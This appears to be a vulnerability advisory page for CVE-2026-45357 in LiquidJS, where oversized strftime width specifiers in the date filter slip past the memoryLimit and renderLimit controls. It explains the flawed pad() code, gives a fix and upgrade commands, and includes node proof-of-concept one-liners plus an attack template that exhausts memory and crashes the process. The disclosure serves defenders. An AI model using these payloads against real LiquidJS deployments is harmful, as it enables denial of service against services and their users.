GHSA-hh27-hf48-9f5q CVE-2026-45357
LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.39%
- Chance of exploitation in the next 30 days. Higher than 32.62% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-400 Uncontrolled Resource Consumption
- Fix
10.26.0- Upgrade liquidjs to this version or later
Description
Summary
The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts. The pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed.
Details
date.ts:5-13 only charges memoryLimit for the lengths of the input value, format string, and timezone:
export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {
const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
this.context.memoryLimit.use(size)
...
return strftime(date, format)
}
strftime (src/util/strftime.ts:121) then walks the format with rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/. The captured width group is passed directly to padStart:
function format (d, match) {
const [input, flagStr = '', width, modifier, conversion] = match
...
let padWidth = width || padWidths[conversion] || 0
...
return padStart(ret, padWidth, padChar) // strftime.ts:147
}
padStart calls pad() in src/util/underscore.ts:153:
export function pad (str, length, ch, add) {
str = String(str)
let n = length - str.length
while (n-- > 0) str = add(str, ch) // unbounded loop
return str
}
The loop has no upper bound and never consults this.context.memoryLimit or renderLimit. The pad is also implemented as repeated ch + str string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.
Filter arguments accept context-evaluated values (src/template/filter.ts:30-31, evalToken(arg, context)), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.
This is a separate sink from the previously-reported quadratic replace finding: a different filter (date), a different parser (the strftime width regex), and a different concatenation site (pad() in underscore.ts).
PoC
Setup: npm install liquidjs@10.25.7.
Step 1 — bypass memoryLimit and renderLimit (5 MB output, ~200 ms, both limits set to 50):
node -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
const t0 = Date.now();
const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });
console.log('len=', out.length, 'ms=', Date.now()-t0);
"
Verified output: len= 5000000 ms= 198. The memoryLimit:50 (50-byte budget) and renderLimit:50 (50 ms budget) are both ignored.
Step 2 — OOM-kill the Node process under a 200 MB heap cap:
node --max-old-space-size=200 -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });
"
Verified output: FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. Process is killed.
The realistic attack template is {{ post.created_at | date: user_supplied_format }}, where user_supplied_format is any context value an attacker can influence (profile field, query param mapped into template context, etc.).
Impact
- DoS against any LiquidJS-rendered surface where a context value reaches the
datefilter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process. - Bypass of the engine's two documented DoS controls —
memoryLimitandrenderLimit— meaning that operators who explicitly opted into DoS protection still have no defense for this code path. - All
date_to_xmlschema,date_to_rfc822,date_to_string,date_to_long_stringpaths share the same sink viastrftime, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is ondate.
Recommended Fix
Two complementary fixes:
- Have
pad()insrc/util/underscore.tscharge the Context's memory limit and useString.prototype.repeatinstead of an O(n) concatenation loop. Sincepad()is generic, the simplest version takes the memory limit as a parameter:
export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {
str = String(str)
const n = length - str.length
if (n <= 0) return str
return add === ((s, c) => c + s)
? ch.repeat(n) + str
: str + ch.repeat(n)
}
- Cap
padWidthinsrc/util/strftime.ts:141and account for it viamemoryLimit. Thedatefilter (src/filters/date.ts) should also chargethis.context.memoryLimit.use(parsedMaxWidth)before invokingstrftime, e.g. by scanning the format for%(\d+)widths and summing them. A conservative cap (e.g.Math.min(width, 1024)for non-Nconversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use.
Both fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.
Affected versions
npm
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
liquidjs npm → 10.26.0
- npm
npm install liquidjs@10.26.0- yarn
yarn add liquidjs@10.26.0- pnpm
pnpm add liquidjs@10.26.0
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-400: Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource.
How to prevent it
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Implementation: Ensure that all failures in resource allocation place the system into a safe posture.
References
Advisories
Fixes and patches
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-fwxr-j5w2-587m LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration | Medium | Also affects liquidjs |
| GHSA-4r6h-5v86-94p3 LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process | High | Also affects liquidjs |
| GHSA-m7fp-h3p4-hr49 LiquidJS has an infinite loop vulnerability in its `strip_html` filter | High | Also affects liquidjs |
| GHSA-g357-x5c3-c72p LiquidJS: `pop` filter bypasses `memoryLimit` accounting that its array-filter siblings enforce | High | Also affects liquidjs |
| GHSA-gf2q-c269-pqgc LiquidJS is Vulnerable to Remote Code Execution | Critical | Also affects liquidjs |
| GHSA-r7g9-xpmj-5fcq LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex | High | Also affects liquidjs |
| GHSA-9x9p-qf8f-mvjg LiquidJS's `{% render %}` tag silently bypasses per-render `ownPropertyOnly:true` via `Context.spawn()` | Medium | Also affects liquidjs |
| GHSA-8xx9-69p8-7jp3 LiquidJS has a renderLimit DoS guard bypass via empty `{% for %}` body | Medium | Also affects liquidjs |
Credits: 0xEr3n, Davithi, SiteQ8, offset
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor